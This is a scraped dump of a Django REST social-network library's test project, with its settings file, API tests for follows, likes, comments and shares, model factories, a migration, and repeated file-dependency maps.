models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('token', models.CharField(max_length=120)), ], options={ 'abstract': False, }, bases=(models.Model,), ), ]
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,186
jaydenwindle/YAK-server
refs/heads/master
/test_project/settings.py
""" Django settings for test project for YAK-server For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(__file__)) # Full filesystem path to the project. PROJECT_ROOT = os.path.dirname(os.path.abspath(__file__)) # URL prefix for static files. # Example: "http://media.lawrence.com/static/" STATIC_URL = "/static/" # Absolute path to the directory static files should be collected to. # Don't put anything in this directory yourself; store your static files # in apps' "static/" subdirectories and in STATICFILES_DIRS. # Example: "/home/media/media.lawrence.com/static/" STATIC_ROOT = os.path.join(PROJECT_ROOT, STATIC_URL.strip("/")) # URL that handles the media served from MEDIA_ROOT. Make sure to use a # trailing slash. # Examples: "http://media.lawrence.com/media/", "http://example.com/media/" MEDIA_URL = STATIC_URL + "media/" # Absolute filesystem path to the directory that will hold user-uploaded files. # Example: "/home/media/media.lawrence.com/media/" MEDIA_ROOT = os.path.join(PROJECT_ROOT, *MEDIA_URL.strip("/").split("/")) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'N/A' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [ os.path.join(PROJECT_ROOT, "templates"), ], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ # Insert your TEMPLATE_CONTEXT_PROCESSORS here or use this # list if you haven't customized them: 'django.contrib.auth.context_processors.auth', 'django.template.context_processors.debug', 'django.template.context_processors.i18n', 'django.template.context_processors.media', 'django.template.context_processors.static', 'django.template.context_processors.tz', 'django.contrib.messages.context_processors.messages', ], }, }, ] ALLOWED_HOSTS = [] SITE_ID = 1 # Application definition INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', "django.contrib.redirects", 'django.contrib.sessions', "django.contrib.sites", 'django.contrib.messages', 'django.contrib.staticfiles', 'oauth2_provider', 'rest_framework', 'social_django', 'yak.rest_user', 'yak.rest_social_auth', 'yak.rest_social_network', 'yak.rest_notifications', 'test_project.test_app', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) ROOT_URLCONF = 'test_project.urls' # Database # https://docs.djangoproject.com/en/1.7/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Internationalization # https://docs.djangoproject.com/en/1.7/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True YAK = { 'USER_APP_LABEL': 'test_app', 'USER_MODEL': 'user', 'USER_SERIALIZER': "test_project.test_app.api.serializers.ProjectUserSerializer", 'API_SCHEMA': 'test_project/api-schema-1.0.json', 'SOCIAL_MODEL': "test_project.test_app.models.Post", 'EMAIL_NOTIFICATION_SUBJECT': 'Notification', 'ALLOW_EMAIL': True, 'ALLOW_PUSH': True, 'PUSHWOOSH_AUTH_TOKEN': "", 'PUSHWOOSH_APP_CODE': "", 'USE_FACEBOOK_OG': True, 'FACEBOOK_OG_NAMESPACE': "yakexample", 'SERIALIZER_MAPPING': { "test_project.test_app.models.Post": "test_project.test_app.api.serializers.PostSerializer", "test_project.test_app.models.Article": "test_project.test_app.api.serializers.ArticleSerializer" }, 'FLAKE8_CONFIG': { 'ignore': ['E123', 'E128'], 'max_line_length': 120, 'exclude': ['*/migrations/*', '*/test_project/settings.py'], }, } AUTH_USER_MODEL = "{}.{}".format(YAK['USER_APP_LABEL'], YAK['USER_MODEL'].capitalize()) PACKAGES_TO_TEST = ['test_project', 'yak'] AUTHENTICATION_BACKENDS = ( "yak.rest_social_auth.backends.yak_instagram.Instagram", "yak.rest_social_auth.backends.yak_soundcloud.Soundcloud", "yak.rest_social_auth.backends.yak_tumblr.Tumblr", "yak.rest_social_auth.backends.yak_facebook.Facebook", "yak.rest_social_auth.backends.yak_twitter.Twitter", "yak.rest_user.backends.CaseInsensitiveBackend", ) SOCIAL_AUTH_INSTAGRAM_KEY = '' SOCIAL_AUTH_INSTAGRAM_SECRET = '' SOCIAL_AUTH_SOUNDCLOUD_KEY = '' SOCIAL_AUTH_SOUNDCLOUD_SECRET = '' SOCIAL_AUTH_FACEBOOK_KEY = '' SOCIAL_AUTH_FACEBOOK_SECRET = '' SOCIAL_AUTH_FACEBOOK_APP_TOKEN = '' SOCIAL_AUTH_FACEBOOK_SCOPE = ['email', 'publish_actions', 'user_about_me', 'user_location'] SOCIAL_AUTH_TWITTER_KEY = '' SOCIAL_AUTH_TWITTER_SECRET = '' SOCIAL_AUTH_PIPELINE = ( # Get the information we can about the user and return it in a simple # format to create the user instance later. On some cases the details are # already part of the auth response from the provider, but sometimes this # could hit a provider API. 'social.pipeline.social_auth.social_details', # Get the social uid from whichever service we're authing thru. The uid is # the unique identifier of the given user in the provider. 'social.pipeline.social_auth.social_uid', # Verifies that the current auth process is valid within the current # project, this is were emails and domains whitelists are applied (if # defined). 'social.pipeline.social_auth.auth_allowed', # If used, replaces default 'social.pipeline.social_auth.social_user' # 'yak.rest_social_auth.pipeline.social_auth_user', # Checks if the current social-account is already associated in the site. 'social.pipeline.social_auth.social_user', # Make up a username for this person, appends a random string at the end if # there's any collision. 'social.pipeline.user.get_username', # Send a validation email to the user to verify its email address. # Disabled by default. # 'social.pipeline.mail.mail_validation', # Associates the current social details with another user account with # a similar email address. Disabled by default. 'social.pipeline.social_auth.associate_by_email', # Create a user account if we haven't found one yet. 'social.pipeline.user.create_user', # Create the record that associated the social account with this user. 'social.pipeline.social_auth.associate_user', # Populate the extra_data field in the social record with the values # specified by settings (and the default ones like access_token, etc). 'social.pipeline.social_auth.load_extra_data', # Update the user record with any changed info from the auth service. 'social.pipeline.user.user_details', 'yak.rest_social_auth.pipeline.save_extra_data', 'yak.rest_social_auth.pipeline.save_profile_image', ) REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': ( 'yak.rest_core.permissions.IsOwnerOrReadOnly', ), 'PAGINATE_BY': 20, 'PAGE_SIZE': 20, 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination', 'DEFAULT_AUTHENTICATION_CLASSES': ( 'oauth2_provider.contrib.rest_framework.OAuth2Authentication', 'rest_framework.authentication.SessionAuthentication', ), 'DEFAULT_FILTER_BACKENDS': ( 'django_filters.rest_framework.DjangoFilterBackend', 'rest_framework.filters.SearchFilter', 'rest_framework.filters.OrderingFilter' ), 'TEST_REQUEST_DEFAULT_FORMAT': 'json', } OAUTH2_PROVIDER = { # this is the list of available scopes 'SCOPES': {'read': 'Read scope', 'write': 'Write scope', 'groups': 'Access to your groups'} } ACCESS_TOKEN_EXPIRE_SECONDS = 7776000 # 90 days CACHE_MIDDLEWARE_SECONDS = 60 CACHE_MIDDLEWARE_KEY_PREFIX = "YAK" ################## # LOCAL SETTINGS # ################## # Allow any settings to be defined in local_settings.py which should be # ignored in your version control system allowing for settings to be # defined per machine. try: from .local_settings import * except ImportError as e: if "local_settings" not in str(e): raise e
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,187
jaydenwindle/YAK-server
refs/heads/master
/test_project/test_app/tests/test_social.py
from django.conf import settings from django.contrib.auth import get_user_model from django.contrib.contenttypes.models import ContentType from rest_framework.reverse import reverse from test_project.test_app.models import Post from test_project.test_app.tests.factories import UserFactory, PostFactory, CommentFactory from yak.rest_core.test import SchemaTestCase from yak.rest_social_network.models import Follow, Comment, Tag, Like User = get_user_model() class BaseAPITests(SchemaTestCase): def setUp(self): super(BaseAPITests, self).setUp() self.dev_user = UserFactory() class FlagTestCase(BaseAPITests): def test_users_can_flag_content(self): test_user = UserFactory() content_type = ContentType.objects.get_for_model(Post) flag_url = reverse('flag') data = { 'content_type': content_type.pk, 'object_id': PostFactory().pk } self.assertSchemaPost(flag_url, "$flagRequest", "$flagResponse", data, test_user) class ShareTestCase(BaseAPITests): def test_users_can_share_content(self): test_user = UserFactory() content_type = ContentType.objects.get_for_model(Post) shares_url = reverse('shares-list') data = { 'content_type': content_type.pk, 'object_id': PostFactory().pk, 'shared_with': [test_user.pk] } self.assertSchemaPost(shares_url, "$shareRequest", "$shareResponse", data, self.dev_user) def test_users_can_share_content_multiple_times(self): sharing_user = UserFactory() test_user = UserFactory() content_type = ContentType.objects.get_for_model(Post) shares_url = reverse('shares-list') data = { 'content_type': content_type.pk, 'object_id': PostFactory().pk, 'shared_with': [test_user.pk] } self.assertSchemaPost(shares_url, "$shareRequest", "$shareResponse", data, sharing_user) data['shared_with'] = [self.dev_user.pk] self.assertSchemaPost(shares_url, "$shareRequest", "$shareResponse", data, sharing_user) class LikeTestCase(BaseAPITests): def test_users_can_like_content(self): content_type = ContentType.objects.get_for_model(Post) likes_url = reverse('likes-list') data = { 'content_type': content_type.pk, 'object_id': PostFactory().pk, } self.assertSchemaPost(likes_url, "$likeRequest", "$likeResponse", data, self.dev_user) def test_liked_mixin(self): post = PostFactory() url = reverse("posts-detail", args=[post.pk]) like = Like.objects.create(content_type=ContentType.objects.get_for_model(Post), object_id=post.pk, user=self.dev_user) response = self.assertSchemaGet(url, None, "$postResponse", self.dev_user) self.assertEqual(response.data["liked_id"], like.pk) other_post = PostFactory() url = reverse("posts-detail", args=[other_post.pk]) response = self.assertSchemaGet(url, None, "$postResponse", self.dev_user) self.assertIsNone(response.data["liked_id"]) class CommentTestCase(BaseAPITests): def test_users_can_comment_on_content(self): content_type = ContentType.objects.get_for_model(Post) comments_url = reverse('comments-list') data = { 'content_type': content_type.pk, 'object_id': PostFactory().pk, 'description': 'This is a user comment.' } self.assertSchemaPost(comments_url, "$commentRequest", "$commentResponse", data, self.dev_user) def test_comment_related_tags(self): content_type = ContentType.objects.get_for_model(Post) Comment.objects.create(content_type=content_type, object_id=1, description='Testing of a hashtag. #django', user=self.dev_user) tags_url = reverse('tags-list') response = self.assertSchemaGet(tags_url, None, "$tagResponse", self.dev_user) self.assertEqual(response.data['results'][0]['name'], 'django') self.assertIsNotNone(Tag.objects.get(name='django')) def test_comments_for_specific_object(self): test_user = UserFactory() post_content_type = ContentType.objects.get_for_model(Post) post = PostFactory(user=test_user) comment = CommentFactory(content_type=post_content_type, object_id=post.pk) post2 = PostFactory(user=test_user) CommentFactory(content_type=post_content_type, object_id=post2.pk) url = reverse('comments-list') parameters = { 'content_type': post_content_type.pk, 'object_id': post.pk, } response = self.assertSchemaGet(url, parameters, "$commentResponse", self.dev_user) self.assertEqual(len(response.data["results"]), 1) self.assertEqual(response.data["results"][0]["id"], comment.pk) class UserFollowingTestCase(BaseAPITests): def test_user_can_follow_each_other(self): test_user1 = UserFactory() user_content_type = ContentType.objects.get_for_model(User) follow_url = reverse('follows-list') # Dev User to follow Test User 1 data = { 'content_type': user_content_type.pk, 'object_id': test_user1.pk } response = self.assertSchemaPost(follow_url, "$followRequest", "$followResponse", data, self.dev_user) self.assertEqual(response.data['following']['username'], test_user1.username) def test_following_endpoint(self): test_user1 = UserFactory() test_user2 = UserFactory() user_content_type = ContentType.objects.get_for_model(User) # Dev User to follow User 1, User 2 to follow Dev User Follow.objects.create(content_type=user_content_type, object_id=test_user1.pk, user=self.dev_user) Follow.objects.create(content_type=user_content_type, object_id=self.dev_user.pk, user=test_user2) following_url = reverse('users-following', args=[self.dev_user.pk]) response = self.assertSchemaGet(following_url, None, "$followResponse", self.dev_user) self.assertEqual(len(response.data), 1) self.assertEqual(response.data[0]['following']['username'], test_user1.username) def test_follower_endpoint(self): test_user1 = UserFactory() test_user2 = UserFactory() user_content_type = ContentType.objects.get_for_model(User) # Dev User to follow User 1, User 2 to follow Dev User Follow.objects.create(content_type=user_content_type, object_id=test_user1.pk, user=self.dev_user) Follow.objects.create(content_type=user_content_type, object_id=self.dev_user.pk, user=test_user2) followers_url = reverse('users-followers', args=[self.dev_user.pk]) response = self.assertSchemaGet(followers_url, None, "$followResponse", self.dev_user) self.assertEqual(len(response.data), 1) self.assertEqual(response.data[0]['follower']['username'], test_user2.username) def test_follow_pagination(self): user_content_type = ContentType.objects.get_for_model(User) for _ in range(0, 30): user = UserFactory() Follow.objects.create(content_type=user_content_type, object_id=self.dev_user.pk, user=user) followers_url = reverse('users-followers', args=[self.dev_user.pk]) response = self.assertSchemaGet(followers_url, None, "$followResponse", self.dev_user) self.assertEqual(len(response.data), settings.REST_FRAMEWORK['PAGE_SIZE']) response = self.assertSchemaGet(followers_url, {"page": 2}, "$followResponse", self.dev_user) self.assertEqual(len(response.data), 30 - settings.REST_FRAMEWORK['PAGE_SIZE']) def test_user_can_unfollow_user(self): follower = UserFactory() user_content_type = ContentType.objects.get_for_model(User) follow_object = Follow.objects.create(content_type=user_content_type, object_id=self.dev_user.pk, user=follower) follows_url = reverse('follows-detail', kwargs={'pk': follow_object.pk}) # If you are not the follower of the user, you cannot unfollow the user self.assertSchemaDelete(follows_url, self.dev_user, unauthorized=True) # If you are the follower of that user, you can unfollow the user self.assertSchemaDelete(follows_url, follower) # Check that original follow object no longer exists self.assertEqual(Follow.objects.filter(pk=follow_object.pk).exists(), False) def test_user_following_and_follower_count(self): follower1 = UserFactory() follower2 = UserFactory() following = UserFactory() user_content_type = ContentType.objects.get_for_model(User) # Follower setup Follow.objects.create(content_type=user_content_type, object_id=following.pk, user=self.dev_user) Follow.objects.create(content_type=user_content_type, object_id=self.dev_user.pk, user=follower1) Follow.objects.create(content_type=user_content_type, object_id=self.dev_user.pk, user=follower2) users_url = reverse('users-detail', kwargs={'pk': self.dev_user.pk}) response = self.assertSchemaGet(users_url, None, "$userResponse", self.dev_user) self.assertEqual(response.data['user_following_count'], 1) self.assertEqual(response.data['user_followers_count'], 2) def test_bulk_follow(self): user1 = UserFactory() user2 = UserFactory() url = reverse('follows-bulk-create') user_content_type = ContentType.objects.get_for_model(User) data = [ {'content_type': user_content_type.pk, 'object_id': user1.pk}, {'content_type': user_content_type.pk, 'object_id': user2.pk} ] self.assertSchemaPost(url, "$followRequest", "$followResponse", data, self.dev_user) self.assertEqual(user1.user_followers_count(), 1) self.assertEqual(user2.user_followers_count(), 1) def test_follow_id(self): follower = UserFactory() user_content_type = ContentType.objects.get_for_model(User) follow_object = Follow.objects.create(content_type=user_content_type, object_id=self.dev_user.pk, user=follower) url = reverse("users-detail", args=[self.dev_user.pk]) response = self.assertSchemaGet(url, None, "$userResponse", follower) self.assertEqual(response.data['follow_id'], follow_object.pk) not_follower = UserFactory() url = reverse("users-detail", args=[self.dev_user.pk]) response = self.assertSchemaGet(url, None, "$userResponse", not_follower) self.assertIsNone(response.data['follow_id'])
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,188
jaydenwindle/YAK-server
refs/heads/master
/test_project/test_app/tests/factories.py
import factory import datetime from test_project.test_app.models import Post from django.utils.timezone import now from oauth2_provider.models import AccessToken, Application from django.contrib.auth import get_user_model from yak.rest_social_network.models import Comment User = get_user_model() class UserFactory(factory.DjangoModelFactory): class Meta: model = User email = factory.Sequence(lambda n: 'person{0}@example.com'.format(n)) username = factory.Sequence(lambda n: 'person{0}'.format(n)) @staticmethod def get_test_application(): application, created = Application.objects.get_or_create( client_type=Application.CLIENT_PUBLIC, name="Test App", authorization_grant_type=Application.GRANT_PASSWORD, ) return application @classmethod def _create(cls, model_class, *args, **kwargs): user = super(UserFactory, cls)._create(model_class, *args, **kwargs) application = cls.get_test_application() AccessToken.objects.create( user=user, application=application, token='token{}'.format(user.id), expires=now() + datetime.timedelta(days=1) ) return user class PostFactory(factory.DjangoModelFactory): class Meta: model = Post user = factory.SubFactory(UserFactory) title = "Factory-farmed post" description = "I love Yeti App Kit!" class CommentFactory(factory.DjangoModelFactory): class Meta: model = Comment user = factory.SubFactory(UserFactory) description = "This is not, the greatest comment in the world."
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,189
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_notifications/migrations/0006_notification_deep_link.py
# Generated by Django 2.0 on 2018-03-14 16:53 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('rest_notifications', '0005_auto_20180209_1859'), ] operations = [ migrations.AddField( model_name='notification', name='deep_link', field=models.CharField(blank=True, max_length=100, null=True), ), ]
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": 